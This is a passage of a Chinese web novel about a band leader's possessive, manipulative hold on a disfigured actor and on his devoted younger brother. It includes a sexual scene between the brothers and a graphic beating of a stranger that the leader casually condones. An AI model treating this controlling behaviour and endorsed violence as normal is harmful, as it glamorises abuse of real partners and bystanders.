应怜抬起头,却只觉得这个人的面容熟悉,然而对方戴着一顶黑色的鸭舌帽,半张脸藏在阴影里。 她有些失魂落魄,后知后觉着自己的唐突,于是低下了头,勉力扶着旁边的扶手,轻声说:“谢谢您。” 两人擦肩而过,当电梯门关闭,尧新雪才转过头,深深地看了应怜的方向一眼。 他没有犹豫,就拉开了病房的门,与宋燃犀对视。 尧新雪的眼神平静,他看着宋燃犀,然后轻轻地关上了房门。 见到尧新雪的那一秒,宋燃犀先是怔愣,然后他的瞳孔开始颤抖,仿佛又一次感受到了那一天大火焚烧四肢折断头颅震荡的痛苦。他努力地偏过脸,不去看尧新雪。 宋燃犀将自己烧伤的另一半脸侧到另一边,不愿意让尧新雪看见。 他知道自己现在很丑,他不是那个“宋燃犀”了,他一无所有了。 英俊的外表,辉煌的前程,什么都没有了。什么都变了。 他甚至在那一秒恨起了尧新雪,宋燃犀说的字句都不完整,眼泪却一瞬间夺眶而出:“我不想……见你。” “我不想……见你。”他又重复了一次,那仅剩的一只完好的手在痉挛,痛意依旧如同疯狗撕咬着他。 “滚……滚出去。”他在哭,声音沙哑。 这是宋燃犀这辈子最难堪的时刻,尧新雪在这里多呆一秒,他就越是感到绝望和痛苦。他在应怜和其他医护人员面前都没有哭,只是因为尧新雪的出现,却再也止不住泪水。 尧新雪,不要看他,不要看着他。 宋燃犀在心里疯狂地恳求着,他感到自卑、难堪、痛苦、愧疚、不甘和怨恨,最后这复杂的一切情感都交织成了卑微的乞求。 可尧新雪望着他的眼神是这样怜悯。 尧新雪伸出一只手,极轻地扶过宋燃犀左侧完好的脸,小心翼翼地吻过他的嘴角。 “宋燃犀,宋燃犀。”尧新雪安抚道,他嗅到宋燃犀身上药水的味道。 就着这个姿势,尧新雪半抱住宋燃犀,仿佛他这副可怕的样子无关紧要。 “因为……因为想见你,所以我……我开上了那条公路……”宋燃犀闻到过去这一个月里魂牵梦萦的香根草气息,他贴着尧新雪的耳际,几近哽咽。 如果不是为了见你,我不会开上这条公路。 如果没有开上这条公路,我就不会发生这场可怕的车祸,父亲不会死,我不会变成现在这个样子。 为什么你那时候不来救我? “我不想见你了……我不想再看见你了……因为我,因为你……我什么都没有了。”宋燃犀的眼泪浸湿了尧新雪的肩膀,他如今浑身缠着绷带,毫无力气,只能半靠在尧新雪的身上,每说一个字,嘴角都带来撕裂般的疼痛。 “我们完了,我们结束了。”宋燃犀说出这句话时痛得几乎无法呼吸,他说,“我不能原谅,我不能原谅……” 我不能原谅——至今依然爱着你、至今依然为能看见你而欣喜若狂的自己。 宋燃犀浑身痉挛,他意图推开尧新雪,可是他连举起手的本事都没有。 尧新雪依然牢牢地抱着他,如同过去无数次牢牢地扣住他的脖子一样。 他温柔的眼神变得冷漠,只是命令般重复了一次那句话:“宋燃犀,你是我的。” 如同兽类捕猎时会咬断猎物的脖子,尧新雪居然俯下身,残忍地、毫不犹豫地咬上了宋燃犀仅剩的完好的皮肤。 他的眼底第一次有了明显的被触怒意味。 仿佛无法忍受着某些东西失去控制般,尧新雪感到了被背叛,他握着宋燃犀的手掌在那一秒猛地收紧。 宋燃犀望着他,流下一行眼泪。 “我查过那个司机的背景,确实是疲劳驾驶,这是一场意外。”尧新雪轻声说,“你在迁怒我。” 就是这样,一场意外而已。 宋燃犀不偏不倚地撞上了命运的枪口,甚至没有任何阴谋。 多残忍,多平淡。 宋燃犀未被纱布遮盖的那只眼睛注视着尧新雪。 与温柔漂亮的外表截然相反的尧新雪啊,其实内地是无止尽的虚伪、强欲、自私、无情与狡猾。 他是一个美丽的、半真半假的谎言。 尧新雪在这一刻终于摘下了面具,露出了高掌控欲、对他人冷漠的真实模样:“我需要你。我说过,你不能离开我,你属于我。” 不是作为爱人,甚至不是作为情人。 而是作为一件所属品。 如同他的乐队势必要在他的手中走向顶端,这个梦想的实现必定会是他尧新雪的囊中之物,宋燃犀也势必要完完整整、从身到心属于尧新雪。 那时候,宋燃犀甚至以为这是一句情话,甚至为能拥有这句话深深骄傲着。 宋燃犀心里的那轮月亮终于彻彻底底地破碎了,他在这一刻迟缓地意识到了,自己在尧新雪的心里或许能与理想划上等号。 他终于知道自己成为了尧新雪心里特别的那一个,却也知道自己永远不可能成为尧新雪的爱人。 尧新雪永远不会爱上他,只是要永远占有他。 在想通了这一刻后,宋燃犀第一次露出了可怜又丑陋的笑容,泪水淌过他半张崎岖不平的脸,半张英俊如初的脸。 他说:“不。” 第78章 应怜是被宠着长大的,父母将她视为掌上明珠,丈夫与儿子也从来都百分百支持她,放眼望去她这五十年的人生里,几乎没有经历过任何挫折。 她以为自己最痛苦最难受的时候,是幼子即将病死。 可十九年后,最爱她的人因为一场车祸离开了,令她骄傲的儿子毁容。 一夜之间,她的人生发生了翻天覆地的变化。 在操办宋洲的后事时,她彻底崩溃了,温婉的面容变得苍老,优雅的体态变得佝偻,从一个漂亮的贵妇变成了颓丧的中年妇女。 她现在每日都会去宋洲的新坟前放一束花,然后再驱车赶往医院。 在即将走进电梯之前,她的心却慢慢地揪起——今天是宋燃犀脸上拆纱布的日子。 她知道演戏于宋燃犀而言,甚至可以排在生命之前。而容貌对于一个演员来说,重要性可想而知。 医生已经告诉过应怜,宋燃犀的脸不可能再百分百恢复成原来的样子了。他需要植皮,需要缝针,即使到最后恢复良好,那右侧脸依然会是坑坑洼洼的。 应怜仅仅只是想象着告诉宋燃犀这件事,就又忍不住眼圈一红。 她一推开房门,宋燃犀就睁开了眼睛,如同某种很警觉的动物。 “是不是睡不好?”应怜关切地问,她小心翼翼地坐在了宋燃犀的身边。 “嗯,总是做噩梦。”宋燃犀慢慢地回答道。 应怜低下了头,说:“那我跟医生说一下,不能总是休息不好。” 母子俩就这样有一搭没一搭地说着话,却都心照不宣地避免了提起车祸、宋洲、公路这样的字眼。 甚至连“好看”,应怜都不敢说,生怕宋燃犀听到了会联想起自己的脸。 医生走进来时,向室内的两个人点了点头。 宋燃犀的表情很平静,很顺从。 他每天都要更换两次身上的绷带,注视着自己的体无完肤。他甚至还不能站起来,只能如同一个废人一样任人摆布。 一圈一圈绷带落下,宋燃犀能感觉到自己脸部传来的痒意。 在看到他的面容时,在场的所有人几乎都在心里叹了一口气。 应怜努力不转过去,努力维持着微笑的表情,只有宋燃犀,平静得不像当事人。 他并不歇斯底里,只是很安静,很安静。 他那不可一世的傲慢,他那点自尊心,早已在过去这一个月里被磨得一点不剩——早在尧新雪看到他的那一眼就什么都没有了。 那时候尧新雪是怎么看他的?怜悯?同情? 竟然让宋燃犀连头都不敢抬,他在那个瞬间怯懦、软弱得与过去判若两人。 宋燃犀的手下意识地收紧了,他微微地张开嘴,像是想要说什么,最后却还是保持了静默。 对于他的脸,对于他的身体,全国乃至全世界赫赫有名的专家与学者多次开会讨论过后依然毫无结果,宋燃犀只有植皮这一条路,但即使是这样,他的容貌也必定不能恢复如初。 应怜推着轮椅,带着他去到了楼下的花园,轻声地和他说起近日的趣事。 这是宋氏旗下的私人医院,众多名贵的品种被移植在这里,精心养护着。 蝴蝶飞舞在花丛之间,两人沿着小径一路走到了花园的尽头。 一个小男孩突然从转角跑了出来,他欢笑着追逐蝴蝶,如同一只快乐的猫。 他以为附近没人,结果刚拐个弯,就几乎扑到了宋燃犀的身上。宋燃犀吃痛得闷哼一声,他浑身的伤,烧伤增生的疤痕沿着他的脖颈一路延伸到他的右脸。 应怜被吓了一跳,忙扶起那个孩子。 小孩仓促站起来想要道歉,却因为看到宋燃犀那可怖的右半张脸被吓了一跳,他忙踉跄地连连后退,尖叫大喊道:“怪物!” 应怜的脸色一变,宋燃犀却只自嘲地微微一挑嘴角。 应怜正准备开口,就有一个男人从旁边走了出来。 “小西,不要乱跑。” 宋燃犀和应怜都在那一刻愣住了。 面前的男人浑然不觉,只是有些手足无措,他也听到了男孩的话,对着宋燃犀马上拘谨地道歉:“抱歉,我儿子不懂事,童言无忌,希望您谅解。” 宋燃犀感到喉咙艰涩,他淡淡地说:“没事。” 这个年轻的父亲礼貌地鞠躬:“祝您早日康复。” 他把自己的孩子抱了起来,将男孩架在了自己的肩膀上,男孩发出咯咯的笑声。 直到他们的声音传得很远很远,应怜才偷偷地用手背擦了一下自己眼角的眼泪,柔声说:“我们也回去吧。” “好。”宋燃犀垂下眼。 应怜轻轻一推,轮椅便慢慢地在小径上滚动。宋燃犀变得这样轻,轻得像回到了很小很小的时候。 她推着宋燃犀沿着那条路走,只听到宋燃犀那变调的、沙哑又难听的声音:“妈,对不起。” 应怜的眼泪因为这句话终于落了下来,滴在了那双握着轮椅的手上,静默了好几秒之后,她低声回应道:“不是你的错,小犀,你不需要道歉的。” …… 黑羊乐队的亚巡在今天迎来了结束,乐手们稳定的发挥加上新专辑的表演让全场都沸腾了起来。 新专辑名叫《无罪推定》,尧新雪将爵士与摇滚结合在了一起,并且为了打开海外市场,出了英文版与中文版。 他英文的咬字是这样性感,仿若带着笑意的尾音勾人,专辑第一次的现场演绎就已经堪称完美。 专辑一经发出,就获得了空前的成功,黑羊乐队的官博发出消息后的十分钟内就拥有了高达八万的转发,专辑也迅速地斩获了各大音乐平台榜单上的第一名。 亚巡结束,黑羊乐队的名字已经家喻户晓,新专辑英文版的出现更是将黑羊乐队的知名度在世界上再拉高一个档次。 所有人都在庆祝着这场巡演漂亮的收尾,薛仰春又一次喝得不省人事,被尧新橙背了回去。 他给薛仰春锁好了酒店的房门后,回到了二楼的餐厅,没看到尧新雪,就准备去洗手间先洗一下手。 尧新橙拧开水龙头,像尧新雪那样慢条斯理地清洗着自己的手——这是尧新雪对他从小到大的要求,如果要做乐队的贝斯手,就好好保护自己的双手。 尧新橙的脸色有些阴沉,他看着镜子里的自己,眼神闪烁。 他当然知道了宋燃犀出车祸的事情,这条新闻在过去一个月里早已经传得全世界都知道了,根据那几张照片就已经可以看出宋燃犀在这车祸里有多惨烈——没死完全可以说是宋燃犀命硬。 尧新橙能感觉到尧新雪某一天回来之后心情不好,只需要查一下监控就知道,尧新雪去了宋氏的私人医院。 尧新橙放在水龙头上的手猛地收紧,妒火几乎激得他要失去理智。 他用冷水泼了好几次自己的脸,终于慢慢地冷静了下来。 然而下一秒,他就听到了洗手间尽头有着暧昧的声响。 水声,略重的呼吸声以及毫不掩饰的愉悦…… 尧新橙的身体一僵。 顿了好几秒之后,他就往尽头走去。 跳闸了。 灯全部都灭掉了,但是尧新橙依然稳稳地站在了最后一间的门前。 他敲了敲门,然后低声道:“哥哥。” 门很快就开了,尧新橙看到尧新雪姿势散漫地坐在马桶上,左耳夹着蓝色的长发,黑暗中唇链闪着银光。 空气弥漫着酒精、香根草与白茶的味道,尧新橙却仍然能看清尧新雪挑起的嘴角与微微眯起的眼睛。 尧新橙将手背到身后,不动声色地将门反锁。 尧新雪的上半身依然穿着那身表演服,繁琐的、漂亮的金属配饰碰到身后的水箱,发出清脆的声音。 那块红色的、状似眼睛的石头落在他胸前的一小片皮肤上,尧新橙刚想开口,尧新雪就轻声道:“嘘,别说话。” 他调整了一下自己的坐姿,将腰上那条碍事的皮带再次松了松,最后缓慢地抽出来,扔到了地上。 “过来帮我。”尧新雪说,他拉过尧新橙的手,放到了自己的腰上。 尧新橙感觉到自己的手被尧新雪牵着,他迟缓地想着尧新雪的手好烫,却摸到了比尧新雪的手更烫的东西。 尧新雪闷哼一声,愉悦的声音让尧新橙忍不住眉心一跳。 尧新雪稍微张开了腿,仿佛条件反射似的挺了挺腰。 他抬起另外一只手遮住尧新橙的眼睛,一只手引导着尧新橙应该怎么收紧指圈,应该怎么上下滑动。 尧新雪的呼吸加重,望着黑暗中尧新橙的轮廓轻笑道:“你知道吗?你是我的东西。” “因为,你是不同的。我想要你,我遇到过成千上万的人,只有你一个让我忘记了……”尧新雪笑了,他的小腹在一瞬间紧绷,尧新橙能感觉到他被刺激得手指颤抖。 “……” 有东西沿着两个人紧紧相握的手流过,尧新雪将脑袋抵上了尧新橙的胸口,身体依然愉快得震颤着。 “帮我擦干净。”尧新雪命令道。 尧新橙的眼睛早已嫉妒得通红,他知道尧新雪说的所有话都不是对他说的。他几乎要恨那个人恨得咬碎自己的牙齿。 但他依然沉默着,顺从地从裤兜里拿出纸,为尧新雪清理干净。 灯在几分钟后亮了起来,尧新雪终于放下了挡在尧新橙眼睛上的手。 仿佛什么都没发生,他系好了自己的皮带,站了起来,瞥了一眼旁边的尧新橙后冷淡道:“走吧。” 第79章 尧新雪给乐队成员们放了两个月的假。 薛仰春振臂一呼想要团建,于是手下的几十个人纷纷及时响应,高声附和。 尧新雪向来不吝啬金钱,懒洋洋地躺在沙发上,蓝色的长发垂到地上,闭着眼睛就说:“可以。” 因为知道老板阔绰,所以这群贪玩的人眨眼就将团建的地点定了夏威夷。大海椰子日光浴,定好机酒后,几十个人手拉着手在偌大的客厅里转圈圈欢呼道:“尧新雪!!尧新雪!!” 以顶着小黄鸭,套着游泳圈的薛仰春为首,众人如同下饺子一般纷纷跳进了蓝得几近透明的大海。 灿烂的日光穿过棕榈叶的间隙,落在尧新雪白得像玉一样的皮肤,他穿着白色的T恤,下半身是一条极短的为了应景的黑色泳裤。 这里有和国内截然相反的天气,温暖而灿烂,深深吸一口气,就能闻到沙子、海水与阳光混合在一起的味道。 尧新雪曲起一条腿,将平板搭在膝上办公,没过几分钟就又有些昏昏欲睡。 黑羊如今在所有人眼里都如同坐了火箭一般攀升得飞快,短短几年就已经跻身世界一流的乐队,三专的成绩更是出乎所有人的预料,但这一切也依然在尧新雪的计划之内。 早在很久很久以前,他就刻画过这支乐队的蓝图,现在只是不早不晚一一实现了——即使在这过程中他不得不牺牲一些东西,但尧新雪依然认为这是有必要的。 他可以为乐队做任何事,他想要的东西从来不是那么轻易就能得到的。 尧新雪从旁边拿出了一个土星项链——这是他在宋燃犀车祸现场捡到的,同时,他还捡到了一枚戒指。 甚至不需要去查,就能看出这枚戒指的价格不菲,即使它被无数人踩过,染着血与灰,却依然在阳光下闪着璀璨的光。 他白皙的手指随意地把玩着这枚价值连城的戒指,仿佛将它当做了玩具,银色的戒圈有几秒映出他漂亮的脸庞,很快,尧新雪就没忍住笑了。 他像想到了什么有趣的事,笑得肩膀都在微微颤抖。 他曾经以为宋燃犀是和自己相同的,一样义无反顾,一样毫无保留,一样不断妥协,一样必须走到最高处。 这些“一样”都让尧新雪在宋燃犀的身上看到了高度相似的自己。 于是尧新雪对宋燃犀产生了好奇与掌控欲。 他乐于看到可以与他平等的人最终落在自己的手里,像狗一样乖顺听话。 他像只小猫,好奇着宋燃犀,嗅到“同类”的气味就开始了试探,试探到最后成为了毫不费力的引诱。 引诱、利用、接吻与上床,乃至更疯狂的事,尧新雪对宋燃犀表现出了远超对他人的宽容。 宋燃犀越是心甘情愿地为他所用,越是竭尽所能证明自己爱他,离不开他,就越是能满足尧新雪的掌控欲,越是能让他感到无与伦比的快感——在所有人面前漂亮、完美、温柔且无所不能的尧新雪,心理竟然幼稚得如同五六岁无法容忍被抢走玩具的孩子。 尧新雪随意地抛着那枚戒指,想着宋燃犀实在是好笑——爱他爱到想要求婚,爱他爱到予取予求,却在最后哭着让他滚。 多么口是心非。 车祸算什么,毁容算什么。 尧新雪只要宋燃犀依然像以前一样,骄傲、勇敢、依然可以为了演戏不顾一切,最后在自己面前俯首称臣而已。 有人站在了他的面前,阴影笼在了尧新雪的身上,打断了尧新雪的思绪。 他依然捏着那枚戒指,然后将那条项链放回了自己的兜里。 一滴冰凉的水滴落到尧新雪曲起的雪白的膝头上。 他出神想事的时候总是很专注,也就没有注意到,这条泳裤有多短,自己曲着腿的动作,更是将腿的风光展露得一览无余。 那件白T只堪堪遮住了尧新雪的腿根,周围的人早已若有若无地将视线投到了他的身上。 尧新雪用指腹轻轻蹭去了膝上的那滴水珠,然后仰起脸看向了那个人,轻轻地舔了舔手指。 他弯起眼睛的时候,看起来又漂亮,又天真无辜,这个动作更是纯得让人哑然。 一小片日光落在尧新雪的腿上,这第一个提起勇气想要搭讪他的男人,竟然有些不好意思地转过了脸。 “你好,可以请你喝个椰子汁吗?”这是个白人男生,名叫阿伦,看起来十七八岁的样子,正抱着两个插了吸管的大椰子,站在尧新雪的身边。 “不用了,谢谢。”尧新雪不会喝陌生人给的东西。 “那可以请你吃个饭吗?我知道附近有一家很好吃的餐厅……”阿伦并不感到挫败,而是努力地发出邀请。 他的长相并不差,有自信可以邀请到眼前这个漂亮的男人。 这个男人出现在这片海滩上时就吸引了所有人的目光,漂亮耀眼得几乎令人移不开眼。他蓝色的长发稍卷,雪白的肌肤在光线下细腻光滑有如瓷器,而狭长而略带上调的眼型使他的双眼看起来既凌厉又柔美。 “抱歉。”尧新雪只微笑着拒绝了。 阿伦接二连三被拒绝,很气馁,他甚至没能问到尧新雪的名字,最后只能失望地离开。 尧新雪赶走了一个意图来骚扰自己的人,然后又戴上了墨镜,躺回了躺椅上准备睡觉。 薛仰春赤着脚跑回来,俯下身拽着他的手乱晃,圆圆的眼睛仿佛也是湿淋淋的:“队长队长。” “嗯?”尧新雪睁开眼,从旁边拿了块毛巾搭在了她的头上。 “你怎么不跟我们玩,是不是太累了?你刚刚在看什么,难道是我们吃太多了你心疼了?”薛仰春在坏笑,哼哼唧唧,看着像在关心尧新雪,实则又在开尧新雪的玩笑。 尧新雪的嘴唇挑起,拿起旁边的平板递到了薛仰春面前:“在赚钱,不心疼。” 薛仰春看着一片红色与十根手指数不完的钱,原地尖叫了一声,毫不犹豫地将平板一扔又跑回了海里:“队长我恨你!” 尧新雪笑了,把墨镜戴回去就继续开始睡。 直至日落时分,层云燃烧成了橘色,海水褪成了灰色。 人们才陆陆续续地从海里走上来,准备去吃饭。 薛仰春披着尧新雪给的浴巾,左顾右盼:“尧新橙呢?” “不知道,给我发消息说晚点再回来,不一起吃饭了。”尧新雪答道。 他慢慢地伸了一个懒腰,也像薛仰春一样回头望了一圈,都没看到阿伦的身影,于是抬了抬唇角。 “你笑什么?”薛仰春问。 “不告诉你。”尧新雪同样孩子气地回答。 “队长————!”整片海滩上都回荡着薛仰春不满的声音。 没有人注意到,在不远处的更衣间里,金发的男人被按在墙上狠狠地殴打。 尧新雪和薛仰春回头想找的两个人都在这里。 阿伦被尧新橙掼在墙上,猛地一拳一拳砸在脸上。 阿伦起初还想反抗,却被尧新橙扣住脖子,“砰”“砰”,一下接一下地猛撞上墙壁。 他感到头部传来剧烈的痛感,晕得几乎站不起来,被打了十分钟也想不明白自己什么时候得罪了一个疯子。 这里没有监控,大多数人都已经离开了,没有人听到他的惨叫。 尧新橙的脸色阴沉,他单方面殴打着眼前这个金发的男人,每一拳都重重地砸在那人的脸颊上,用膝盖顶着男人的胃,仿佛是一场单方面的发泄。 阿伦到最后几乎跪在了地上,呕了一地酸水之后终于喊道:“别打了别打了!你谁啊!!” 阿伦半睁着另外一只没被打肿的眼睛,从下往上看着尧新橙。 这个亚裔的男生看着年纪不大,甚至有些瘦弱,脸上有着些许雀斑,即使是这样,力气却离奇的大,眼神冷漠而厌恶,又含有着明显的愤怒。 尧新橙粗暴地拽着阿伦的头发将他的脑袋一次又一次地重重撞上墙,然后将人按着,再重重地一拳拳砸上他的肚子。 “你,不能,靠近他。”尧新橙一字一顿道,他几乎踹断了阿伦的肋骨,“你,不配。你们,都不配。” “他是,我的。”尧新橙咬牙切齿,哪怕手底下的人在苦苦地哀求着他,哪怕阿伦血沫横飞弄脏了他的手,他也不带一丝犹豫和停顿。 他那几近憎恨的神情是如此接近一个杀人犯,仿佛透过眼前的男人想起了另外一个更值得憎恨的对象。 比他高大一倍的男人昏晕在了更衣间,就在尧新橙再准备一脚踩上他的脸时,兜里的手机震动起来。 尧新橙的动作立刻停住,忙不迭地从兜里拿出了手机:“喂,哥哥。” “怎么还没回来?”尧新雪温柔的声音从手机里传出来。 “马上。”尧新橙答道。 “适可而止,别弄出人命。”尧新雪提醒道。 尧新橙看了一眼地上在抽搐痉挛的男人,最后乖巧道:“好。” 阿伦早被揍得不成人样,他的意识模糊,听着电话里熟悉的声音,终于知道了自己为什么会被抓在这里狠揍。 他吸了吸鼻子,心想:他还什么都没做啊。 第80章 宋燃犀恢复得很慢,他的伤实在是太重了,三个月之后才能勉强爬起来。 他每一天都睡得很少,整夜整夜都痛得睡不着,为了防止增生,他不得不戴上压力带。 因为长期卧床,宋燃犀的腿部肌肉萎缩,即使长期有专业人士护理按摩,想要重新站起来行走依然是困难的。 宋燃犀需要做复健,每一天都得艰难地扶着栏杆重新学习走路。他尽可能地努力,以求让应怜感到一丝安慰——也许一切可能都在慢慢变好。 多次手术后,他的右边张脸已经修复得与之前相差极小,但没有化妆的情况下依然能看出明显的疤痕与坑洞。 他彻底退到了幕后,拒绝了所有意图采访乃至探望他的人,无论是宋氏集团乃至影坛上都没有再有他的消息。 那个戛纳最年轻的、意气风发的影帝似乎死在了那场车祸里。 宋燃犀的性格也和之前有了极大的变化,他不再像之前那样骄傲、开朗、爱开玩笑,反而变得沉静,就连应怜也没能再在他的脸上看到明显的喜怒哀乐。 应怜不在的时间里,他会自己杵着拐杖走到楼下的花园里散步,然后发上一整日的呆。 尧新雪在那天之后就再也没有出现,宋燃犀每每想起他,就会联想起车祸那一日,会联想起自己醒来体无完肤犹如废人的那些日子。 因为在大火焚烧他的时候痛感太强烈了,宋燃犀不断地惨叫着,苦苦哀求着,一次又一次喊着尧新雪的名字。于是这个名字,包括他对这个人全部浓烈的爱意也随着这种剧烈的痛感烙印在了骨子里。 狡猾的记忆居然将那些残忍可怖的痛意与无辜的尧新雪联系在了一起。 爱尧新雪成为了一件可怜、可恨、可惧的事。 宋燃犀得慢慢呼吸,慢慢地走,才不至于狼狈地摔倒在地。 时值隆冬,空气很干燥,对他的呼吸道其实并不好。今天却久违地下起了一场小雨,纷纷打落在花叶上。 宋燃犀半身靠着拐杖,想要走回楼内,却在几十步的距离后看到了一点蓝色。 他的心脏先是漏了一拍,然后是本能地感到痛意。 宋燃犀感到呼吸困难,他倚着拐杖,呼吸不畅般按着自己的心口。在缓了好几秒之后,他终于偏过头看向了旁边的玻璃,这是他在术后第一次看到自己的脸。 即使医生们告诉过他手术有多么成功,宋燃犀也依然毫无感触——他心里的某些东西死了,宋洲的死也带走了很多东西,容貌变成了无关紧要的事。 只有在意识到尧新雪在看着他时,他才会感到诚惶诚恐,才会想到一个问题:怎么办? 他感到心脏的抽痛,手指被烫痛般微微颤抖,望着玻璃上模糊的、陌生又熟悉的脸,宋燃犀的唇角抿紧了。 终于,他迈出了脚步,一瘸一拐地走了上去。 是尧新雪。 宋燃犀的眼睛缓慢地眨了一下,仿佛感到难以置信般,瞳孔颤抖。 好几秒之后,他就又掩耳盗铃般偏过了脸,感到喉咙干涩。 雨水飞溅下来,一切都变得有如蒙上了灰绿色,剔透的水珠沿着花叶滚落,划出一道道水痕。 尧新雪站在那里,他穿着简单的装束,及腰的蓝色长发仿佛是这里的唯一一抹亮色。 宋燃犀呼吸急促,站在原地,想要抬头去看尧新雪,却又不敢,他在这个人面前好像轻易地就变得怯懦,软弱与自卑起来,时间流逝得竟然如此缓慢。 宋燃犀又高兴,又难过,在见到尧新雪的那一瞬间,他终于知道其实自己真的很想、很想见尧新雪。 他听到金属配饰碰撞在一起的清脆的声音,听到尧新雪不徐不疾的脚步声,心脏仿佛一瞬间被紧紧攥住。 尧新雪拿过了宋燃犀的拐杖,就在宋燃犀错愕,几乎要在下一秒失去平衡跌倒时,他又及时牵住了宋燃犀那只完好的手。 宋燃犀踉跄了一步。 两个人的距离骤然拉近,他又一次嗅到了尧新雪身上的气味。 很淡的香。 “你来干什么。”宋燃犀的声音很哑。 这么近的距离,让两个人的姿势看起来像是在拥抱。 “我想告诉你,我准备开始欧巡了。”尧新雪的声音堪称温柔,他小心翼翼地避开了宋燃犀身上的其他伤口,他看着宋燃犀的目光温润得一如往昔,仿佛宋燃犀还是原来的样子。 “别用这么难看的表情看着我,”尧新雪伸出一只手,轻轻地,像是极为怜惜地抚过宋燃犀完好的左半张脸,“这么软弱,只会一事无成。” 你不要做一个彻头彻尾的废物,我会很失望。 尧新雪的眼睛说,他的另外一只手指腹轻轻蹭过宋燃犀的侧脸,最后压在了宋燃犀的唇角上。 宋燃犀站得不怎么稳,几乎只能依靠着尧新雪牵着他的手。 尧新雪将头凑过去,最后在距离宋燃犀的几厘米处堪堪停了下来。 宋燃犀预想中的亲吻没有落下,他看着近在咫尺的尧新雪,干涩的嘴唇微微张开。 “很失望?”尧新雪挑起嘴角,“你不是很恨我吗?” “我……”宋燃犀艰难地说,他感觉到心口绵密的痛意,车祸的后遗症让他的伤口痛痒难耐,“我帮不了你了。” “我……我不能……”宋燃犀的手微微颤抖着,他想握紧尧新雪的手,却没有这个力气,那么可笑,那么难堪。 “我好痛。”他最后低声说,声音几近哽咽,低得只有他自己能听清。 “嘘。”尧新雪轻轻地抚摸着他的侧颈,如同抚慰着一头小兽。 他温柔地吻上了宋燃犀的唇,柔软艳红的舌轻而易举地就撬开了宋燃犀的牙齿。 这个吻是如此漫长,长得宋燃犀快要以为自己在做梦。 尧新雪的神情这么温柔,他依然美好得如同初见那样。 淅淅沥沥的雨水永无止尽般落下,每一滴雨珠都仿佛落在了宋燃犀的心脏上。 “只有你,不能和其他人一样。”尧新雪轻声说,他偏过脸,像猫似的舔了舔宋燃犀脸上的泪水,戴着戒指的手抚着宋燃犀的脸:“听着,只有你。” 宋燃犀没有回答,望着尧新雪的眼神充满了悲哀。 “把这个还给你。”尧新雪从兜里拿出一条项链——那是他在宋燃犀生日时送的。 他将项链挂在宋燃犀的颈上,宋燃犀第一次感到这条项链的重量。 尧新雪牵着他的手,像牵着自己的一条狗,慢慢地走回病房。 他总是这样细心体贴,照顾着宋燃犀的速度故意放慢了脚步。 蓝色的长发因为他的动作轻轻摆动,宋燃犀能偶尔看到他那极窄的腰与极长的腿。 宋燃犀望着那个美丽的背影,始终落后半步。 他们原走在同一条苦路上,后来他停下了,尧新雪却已经走到了很远很远。 而那个闪闪发光的地方,尧新雪很快就要走到了。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 80-90 第81章 欧巡的第一场演出定在了巴黎。 演出前,尧新雪在休息室的淋浴间里。 几乎没有化妆师给他上妆,所有人都认为尧新雪最好看的样子就是原来那不施任何脂粉的模样。 在幕帘之后,他松开了绑着自己头发的发圈,然后双手捏住衣服的下摆,将衣服拎了出来。他的手指抓着裤腰,然后长腿一曲,踩在地上赤着的脚就将刚换下的黑色牛仔裤随意地踢到了一边。 在镜子面前,尧新雪望着自己的身体。 白皙的皮肤上交错纵横着各种各样的疤痕,漂亮的小腹肌肉随着呼吸缓慢地起伏着。蓝色的长发与胸口红色的石头形成了鲜明的对比,他的五官立体又精美,镜中的人艳丽如《聊斋》里的鬼。 他微微抬起下颌,与镜中的自己对视,最后露出了一个满意的笑容。 欧巡的开始就是黑羊真正走向世界的象征,而世巡的结束就意味着他理想的实现,很快,黑羊就会如同他想象的那样成为世界家喻户晓的乐队。 他会拥有一支最好、最好的乐队。 尧新雪洗澡的时候会摘掉所有耳饰,他一只手撑着洗手台,一边伸出了粉红的舌头,露出了上面的舌钉。 他的手轻轻动了一下那枚舌钉,然后轻轻地皱起眉来。 过了半天,尧新雪才打开了水。 尧新橙早已整理准备好坐在了休息室里,他听着浴室里的水声,安静地从兜里拿出药瓶,倒了几颗药。 他的幻听已经不再那么明显,焦虑、抑郁甚至是暴躁等各种情绪都因为世巡能待在尧新雪的身边变得有所缓和。 尧新橙捏紧了药瓶。 不知道过了多久,他抬起手腕看了一眼表上的时间,准备起身去提醒一下尧新雪。 “小橙,帮我拿一下浴巾。”尧新雪稍微提高了一点声音,他仿佛知道,尧新橙一定会待在这里等他。 “好。”尧新橙应了,从行李箱里拿出了一条毛巾,走向了浴室。 尧新雪半开着浴室的门,伸出了一只雪白的、湿淋淋的手。 尧新橙盯着那只手,一瞬间感觉到浴室内的气温与弥漫的水汽,最后联想到更多不合时宜的事。 但他将毛巾放到尧新雪的手里之后,就克制地退了一步,说了一句:“哥哥,五点半了。” “知道了。”尧新雪的声音传出来。 尧新橙不再说话,只是站在了门前,听着里面的水声。 他看起来乖得很,垂着眼,像等待着主人的小狗,浑然没有坏心思。 可在听到水声停止,他站了几秒后就又抬起脚安静地坐回了外面的沙发上。 尧新雪在几分钟后就顶着一块毛巾走了出来,他有些苦恼郁闷地用手戳了戳自己的脸:“我牙疼。” 尧新橙愣了一下。 尧新雪皱着眉,看他没什么反应,于是走近又重复了一遍:“牙疼。” 尧新橙立刻紧张得跳起来,他一下子也顾不上放慢话音:“怎、怎么会、这样。” “我去,买药。”尧新橙说。 “算了,没关系,演出之后再说。”尧新雪看上去懊恼,看起来疼得不轻,“你帮我摸一下。” 尧新橙站上前,微微低下头,抬起手又在即将触碰到尧新雪的脸时停住:“很疼?” “嗯。”尧新雪应了一声,依然是皱着眉。 他看着尧新橙,很乖地微微张开了嘴唇,露出了里面雪白的牙齿和艳红的舌头。 “在这边。”尧新雪戳了戳自己右半边脸颊。 尧新橙顿了几秒,然后缓缓伸出手指伸进了尧新雪的口腔。 他先是碰到尧新雪又热又软的舌,然后才碰到尧新雪的牙齿。 “再里面一点。”尧新雪含混地提醒他。 尧新橙轻轻地动着他的牙齿,低头看过去,只看到尧新雪的眼里仿佛含着水,即使知道尧新雪是不会因为这么点疼痛就哭的,尧新橙的心依然颤了一下。 这个姿势暧昧得有些过分,明明再正常不过,尧新橙却无法控制着自己的脑子不去想到一些别的东西。 尧新雪的眉皱着,身上混着沐浴露的极淡香味,张大嘴像猫似的。 尧新橙的手指感觉到他的津液,轻轻敲那颗牙齿时,听到尧新雪的嘶声。 “没松。”尧新橙慢慢地抽出自己湿淋淋的手指,然后不着痕迹地碰过尧新雪的嘴唇。 “可能是别的问题。”尧新雪叹了口气。 